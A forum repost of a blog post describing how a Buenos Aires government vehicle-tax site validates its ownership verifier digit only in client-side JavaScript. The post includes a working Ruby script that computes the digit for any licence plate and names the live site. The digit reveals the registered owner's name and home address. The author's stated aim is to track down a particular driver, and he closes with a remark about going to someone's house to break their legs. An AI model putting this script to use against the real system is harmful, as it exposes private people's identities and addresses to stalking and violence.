Los enlaces son solo para miembros. Registrate o iniciá sesión
<br />by hdbreaker
<br /><br /><br />Some time ago I had the misfortune of being involved in a somewhat serious traffic accident, where I, for traveling by motorcycle, got the worst part. Totally contrary to what I expected, the person responsible for the accident did not stop to assist me; instead he preferred to flee the scene.<br /><br />After all the medical protocols, a few bruises, and after not finding answers at the police due to lack of witnesses, I decided to begin a personal search to identify the vehicle with the only piece of data I had managed to spot during the crash.<br />###his license plate number###
<br /><br />For confidentiality reasons I will not use the aggressor's real license plate but one that I happened to read in the vehicle registry while doing the insurance paperwork.<br /><br /><br />The question? <br /><br />Is there a system that would allow me to query the data and the status of a vehicle currently traveling on the street? The answer is yes!<br /><br /><br />After a few queries to google, I managed to find a tax service in the province of Buenos Aires that allows us to query the debt status of a vehicle's license plates.<br /><br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br /><br />It has two ways of working: if you are not the owner you can only obtain the data corresponding to debts on the car, but the system does not allow you to access the sections that identify the person registered in the Vehicle Registry as the title holder of the vehicle.<br /><br /><br />On the other hand, to verify the ownership of the vehicle, the system asks you to enter a special unique verification number that only the owner of the car should possess, since it serves to print payment slips for debts that include the personal data of the vehicle's owner, thereby guaranteeing the privacy of the users' data.<br /><br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br />The first thing we can analyze on the site is that the system's special verifier digit only accepts values ranging from 00 to 99 (the value is not as unique as one believes)<br /><br /><br />Anyway, the license plate to be studied in this entry will be JMO089. After performing some manual tests we can see that the system's captcha is never updated once we are associated with a session, allowing us to manually try all 99 possible combinations until we find the correct one.<br /><br /><br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br /><br />In the image we can see that the captcha does not change as we try possible numeric combinations until we find the correct one, so it gives the possibility of programming a Brute Forcer that keeps trying all possible values until finding the right one. But an attack like that represents a problem by having to face a captcha, something I was not willing to do due to a lack of time to program an Los enlaces son solo para miembros. Registrate o iniciá sesión.<br /><br />The question I asked myself was:<br /><br />What is the way the system validates the correct value of the verifier digit?<br /><br />The first thing I thought was that the system validated the value on the server side after the query, so I started checking the requests the site made when submitting the form. For this I used Live HTTP headers<br /><br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br /><br />Upon finding this, I couldn't believe what I was seeing. Technically speaking, if a validation does not present a web request to the Backend, it means that the validation is being performed on the client side, that is:<br /><br />THE SYSTEM VALIDATES VIA JAVASCRIPT!
<br /><br />This implies that the validation algorithm of the verifier code is served in some javascript file on the browser side, so I started analyzing the html source of the document to identify some clue about the validation. The first thing I analyzed were the following files:<br /><br /><br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br />Inside the file consultaDatos.js I found the following function with a revealing name: validaDatos<br /><br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br />if (!check.checked && patente.valido(dom1) != true)
<br /><br />In that same function one can see, in the highlighted lines, the structure where the valid license plate message is decided, fulfilling the requirements that the checkbox is checked and that the result of the function patente.valido() is what is needed to correctly resolve the if() decision structure.<br /><br /><br />The problem turned out that the function patente.valido() was not within the same document, so I had to find the file where it was located.<br /><br />For those who don't know how javascript works, I clarify that js files represent a large structured code divided into different files to improve its organization, but as long as these files are included in the html they can make calls to functions defined among them as if they were all members of the same class.<br /><br /><br />After searching a bit, I arrived at the following Los enlaces son solo para miembros. Registrate o iniciá sesión /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br />Inside it we can obtain the structure of the validator code:<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br />Complete Function: Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br />After carefully analyzing the code I was able to reveal its final behavior.<br /><br />The code calculates the verifier digit based on the vehicle's license plate, substituting the letters for special numbers to form a decimal string, which it then sums according to its index, evens on one side and odds on the other, as if it were an array.<br /><br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br />Then if these separated values (digi1 and digi2) have a length greater than one digit (0 to 9), it sums them again respectively until obtaining 2 numbers independently with a length of one digit (0 to 9).<br /><br /><br />And then it concatenates them to obtain the magic verifier number:<br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br />What is somewhat comical is that this function has no protection whatsoever, and can be called from the developer console of Google Chrome or Firefox:<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br />With this verifier number we can perform the query successfully:<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br />When requesting an invoice we can see the personal data such as the name of the registered title holder and his residential address:<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br />
<br /><br />Doing a bit of reverse engineering I developed the following scripts that allow calculating any verifier digit with just the license plate number:<br />(Soon I will be adding its Python version developed by [Q]3rv[0]):<br /><br />Ruby:<br /><br /><br /><br />require 'colorize' #by hdbreaker<br /><br />class Calculate<br /><br /> def initialize()<br /> #inicializo array asociativo de clase<br /> @letrasValidas ={'A' => '14','B' => '01','C' => '00','D' => '16','E' => '05','F' => '20','G' => '19',<br /> 'H' => '09','I' => '24','J' => '07','K' => '21','L' => '08','M' => '04','N' => '13',<br /> 'O' => '25','P' => '22','Q' => '18','R' => '10','S' => '02','T' => '06','U' => '12',<br /> 'V' => '23','W' => '11','X' => '03','Y' => '15','Z' => '17',' ' => '60',};<br /> end<br /><br /> #Funcion para calcular el numero de patente<br /> def calculate(patente)<br /> patAux = patente.upcase;<br /> pares = 0;<br /> impares = 0;<br /><br /> #Bloque para sustituir las letras por los numeros correspondisntes<br /> @letrasValidas.each { |key|<br /> if(patAux.include? key[0])<br /> patAux = patAux.gsub(key[0], key[1]);<br /> end<br /> }<br /><br /> #Sumo los imares por un lado y los pares por el otro<br /> for x in (0...patAux.length)<br /> if (x % 2 == 0)<br /> pares += patAux[x].to_i;<br /> else<br /> impares += patAux[x].to_i;<br /> end<br /> end<br /><br /> #Si la sumatoria de los pares da un numero mayor a 1 digito, los sumo nuevamente hasta obtener 1 digito<br /> digi1 =pares.to_s;<br /> while (digi1.length > 1)<br /> pares = 0;<br /> for x in (0...digi1.length)<br /> pares += digi1[x].to_i;<br /> end<br /> digi1 = pares.to_s;<br /> end<br /><br /> #Si la sumatoria de los impares da un numero mayor a 1 digito, los sumo nuevamente hasta obtener 1 digito<br /> digi2 =impares.to_s;<br /> while (digi2.length > 1)<br /> impares = 0;<br /> for x in (0...digi2.length)<br /> impares += digi2[x].to_i;<br /> end<br /> digi2 = impares.to_s;<br /> end<br /><br /> ###############Salida en Pantalla###############<br /> puts "\n############## Rentas Ciudad de Buenos Aires ##############".green<br /> puts "URL: ".green+"https://lbserver02.agip.gob.ar/ConsultaPat/index.html".red<br /> puts "Dominio: ".green+patente.red<br /> puts "Verificador: ".green+digi1.red+""+digi2.red<br /> puts "\n"<br /> end<br />end<br /><br />if(ARGV.length==1)<br /> obj = Calculate.new()<br /> obj.calculate(ARGV[0].to_s)<br />else<br /> puts "Usage: ruby calculate.rb [patente]"<br />end<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br /><br />I hope this entry serves to raise awareness about the security of our personal data, since let's remember that the flaw is in a governmental network that shamelessly exposes people's personal data.<br /><br />And if you are a driver... don't go around the street believing yourself untouchable, you never know who you may cross paths with nor for what they may use your data; perhaps you'll encounter a person who, instead of reporting the flaw, uses your information to find you, go to your house and break your legs.<br /><br />Regards!
<br /><br />Source: Los enlaces son solo para miembros. Registrate o iniciá sesión